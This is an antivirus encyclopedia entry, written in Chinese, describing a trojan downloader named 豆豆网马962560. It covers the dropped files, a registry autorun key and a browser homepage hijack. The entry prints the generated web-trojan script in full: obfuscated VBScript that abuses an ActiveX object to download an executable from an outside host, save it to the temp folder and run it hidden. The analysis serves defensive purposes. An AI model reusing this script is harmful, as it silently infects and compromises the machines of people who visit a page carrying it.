病毒名称(中文):
豆豆网马962560
病毒别名:
威胁级别:
★★☆☆☆
病毒类型:
木马下载器
病毒长度:
962560
影响系统:
Win9xWinMeWinNTWin2000WinXPWin2003
病毒行为:
这是一个木马下载者程序。该病毒成功运行起来后，就会从指定的地址下载其它病毒并运行。同时，这个病毒带有一个木马生成器，会在用户系统中生成大量能利用网页传播的脚本病毒。
1.程序运行后，下载文件几百个，有txt,jpg,js等各种病毒文件
C:\DocumentsandSettings\fish\Cookies\fish@32881[2].txt
C:\DocumentsandSettings\fish\Cookies\fish@p4p.cnaz[1].txt
C:\DocumentsandSettings\fish\Cookies\fish@site_pv[1].txt
C:\DocumentsandSettings\fish\Cookies\fish@www.32881[1].txt
C:\DocumentsandSettings\fish\Cookies\fish@yahoo[2].txt
.
.
.
C:\DocumentsandSettings\fish\LocalSettings\TemporaryInternetFiles\Content.IE5\2PF3QNZE\72x72_2[1].gif
C:\DocumentsandSettings\fish\LocalSettings\TemporaryInternetFiles\Content.IE5\2PF3QNZE\72x72_7[1].gif
C:\DocumentsandSettings\fish\LocalSettings\TemporaryInternetFiles\Content.IE5\2PF3QNZE\7_0_0[1].htm
C:\DocumentsandSettings\fish\LocalSettings\TemporaryInternetFiles\Content.IE5\2PF3QNZE\big[1].jpg
C:\DocumentsandSettings\fish\LocalSettings\TemporaryInternetFiles\Content.IE5\2PF3QNZE\bor1_bg[1].jpg
C:\DocumentsandSettings\fish\LocalSettings\TemporaryInternetFiles\Content.IE5\2PF3QNZE\img200803251448520[1].jpg
.
.
.
C:\DocumentsandSettings\fish\LocalSettings\TemporaryInternetFiles\Content.IE5\TIH5F1C8\ystat[1].js
2.添加注册表项，实现开机自启动：
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs\.htm
3.病毒运行后，运行豆豆网马生成器，其中网马地址可改动。生成网马文件内容类似：
onerrorresumenext
dl="http://hack.32881.com/muma.exe"//其中这个网马的网址可以修改
Setdf=document.createElement("ob"&"ject")
df.setAttribute"classid","clsid:BD96C55"&"6-65A3-11D0-983A-00C04FC29E36"
str="Microsoft"&".XMLHTTP"
Setx=df.CreateObject(str,"")
a1="Ado"
a2="db."
a3="Str"&"ea"
str1=a1&a2&a3
str5=str1
setS=df.createobject(str5&"m","")
S.type=1
str6="G"&"ET"
x.Openstr6,dl,False
x.Send
fname1="g0ld"&".com"
setF=df.createobject("Scripti"&"ng.FilesystemObject","")
settmp=F.GetSpecialFolder(2)
S.open
fname1=F.BuildPath(tmp,fname1)
S.writex.responseBody
S.savetofilefname1,2
S.close
setQ=df.createobject("Shell.Ap"&"plication","")
Q.ShellExecutefname1,"","","ope"&"n",0
4.病毒会修改IE主页内容为http://www.32881.com/，并设为默认首页
